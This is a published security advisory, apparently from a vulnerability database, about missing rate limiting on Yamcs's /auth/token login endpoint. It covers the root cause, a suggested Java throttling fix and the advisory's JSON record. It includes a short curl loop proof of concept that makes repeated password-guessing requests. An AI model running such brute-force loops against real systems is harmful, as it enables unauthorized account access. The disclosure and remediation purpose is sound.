GHSA-W5R6-MCGQ-7PQ4

Vulnerability from github – Published: 2026-05-27 00:04 – Updated: 2026-05-27 00:04
VLAI
Summary
Yamcs has No Rate Limiting on Authentication Endpoint
Details

Summary

The authentication endpoint POST /auth/token in yamcs-core lacks any form of rate limiting, account lockout, or failed attempt throttling. As a result, an unauthenticated remote attacker can perform unlimited password guessing attempts against any user account.

This missing rate limiting vulnerability (CWE-307) significantly increases the risk of successful brute-force attacks.

Root Cause

File: yamcs-core/src/main/java/org/yamcs/http/auth/AuthHandler.java

POST /auth/token has no rate limiting, no lockout after failed attempts, and no CAPTCHA. The handler processes unlimited authentication requests without any throttling mechanism:

// AuthHandler.java — handleToken()
// No throttle, no failed attempt counter, no lockout
private void handleToken(HandlerContext ctx) {
    ...
    getSecurityStore().login(token).whenComplete((info, err) -> {
        // Directly attempts authentication with no rate check
    });
}

This is absent by default — the official quickstart and documentation contain no guidance on configuring rate limiting.

Impact

An attacker can make unlimited authentication attempts against any account. This enables efficient brute-force attacks against any account.

Proof of Concept

# 20 attempts — zero rate limiting
for i in $(seq 1 20); do
  curl -s -o /dev/null -w "Attempt $i: HTTP %{http_code}\n" \
    -X POST "http://TARGET:8090/auth/token" \
    -d "grant_type=password&username=operator&password=operator12$i"
done
# All return HTTP 401 — no HTTP 429 ever

Confirmed: 20 attempts in 0.07 seconds, no rate limiting enforced.

Fix

Implement DRF-style throttling on /auth/token:

// Track failed attempts per IP
private static final Cache<String, Integer> FAILED_ATTEMPTS =
    CacheBuilder.newBuilder().expireAfterWrite(15, TimeUnit.MINUTES).build();

private static final int MAX_ATTEMPTS = 10;

private void handleToken(HandlerContext ctx) {
    String ip = ctx.getRemoteAddress();
    int attempts = Optional.ofNullable(FAILED_ATTEMPTS.getIfPresent(ip)).orElse(0);
    if (attempts >= MAX_ATTEMPTS) {
        throw new TooManyRequestsException("Rate limit exceeded");
    }
    // ... existing auth logic
    // On failure: FAILED_ATTEMPTS.put(ip, attempts + 1)
}
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.yamcs:yamcs-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.12.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44596"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-307"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-27T00:04:28Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe authentication endpoint `POST /auth/token` in `yamcs-core` lacks any form of rate limiting, account lockout, or failed attempt throttling. As a result, an unauthenticated remote attacker can perform unlimited password guessing attempts against any user account.\n\nThis missing rate limiting vulnerability (CWE-307) significantly increases the risk of successful brute-force attacks.\n\n### Root Cause\n\n**File:** `yamcs-core/src/main/java/org/yamcs/http/auth/AuthHandler.java`\n\n`POST /auth/token` has no rate limiting, no lockout after failed attempts, and no CAPTCHA. The handler processes unlimited authentication requests without any throttling mechanism:\n\n```java\n// AuthHandler.java \u2014 handleToken()\n// No throttle, no failed attempt counter, no lockout\nprivate void handleToken(HandlerContext ctx) {\n    ...\n    getSecurityStore().login(token).whenComplete((info, err) -\u003e {\n        // Directly attempts authentication with no rate check\n    });\n}\n```\n\nThis is absent by default \u2014 the official quickstart and documentation contain no guidance on configuring rate limiting.\n\n### Impact\n\nAn attacker can make unlimited authentication attempts against any account. This enables efficient brute-force attacks against any account.\n\n### Proof of Concept\n\n```bash\n# 20 attempts \u2014 zero rate limiting\nfor i in $(seq 1 20); do\n  curl -s -o /dev/null -w \"Attempt $i: HTTP %{http_code}\\n\" \\\n    -X POST \"http://TARGET:8090/auth/token\" \\\n    -d \"grant_type=password\u0026username=operator\u0026password=operator12$i\"\ndone\n# All return HTTP 401 \u2014 no HTTP 429 ever\n```\n\n**Confirmed:** 20 attempts in 0.07 seconds, no rate limiting enforced.\n\n### Fix\n\nImplement DRF-style throttling on `/auth/token`:\n\n```java\n// Track failed attempts per IP\nprivate static final Cache\u003cString, Integer\u003e FAILED_ATTEMPTS =\n    CacheBuilder.newBuilder().expireAfterWrite(15, TimeUnit.MINUTES).build();\n\nprivate static final int MAX_ATTEMPTS = 10;\n\nprivate void handleToken(HandlerContext ctx) {\n    String ip = ctx.getRemoteAddress();\n    int attempts = Optional.ofNullable(FAILED_ATTEMPTS.getIfPresent(ip)).orElse(0);\n    if (attempts \u003e= MAX_ATTEMPTS) {\n        throw new TooManyRequestsException(\"Rate limit exceeded\");\n    }\n    // ... existing auth logic\n    // On failure: FAILED_ATTEMPTS.put(ip, attempts + 1)\n}\n```",
  "id": "GHSA-w5r6-mcgq-7pq4",
  "modified": "2026-05-27T00:04:28Z",
  "published": "2026-05-27T00:04:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-w5r6-mcgq-7pq4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yamcs/yamcs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Yamcs has No Rate Limiting on Authentication Endpoint"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…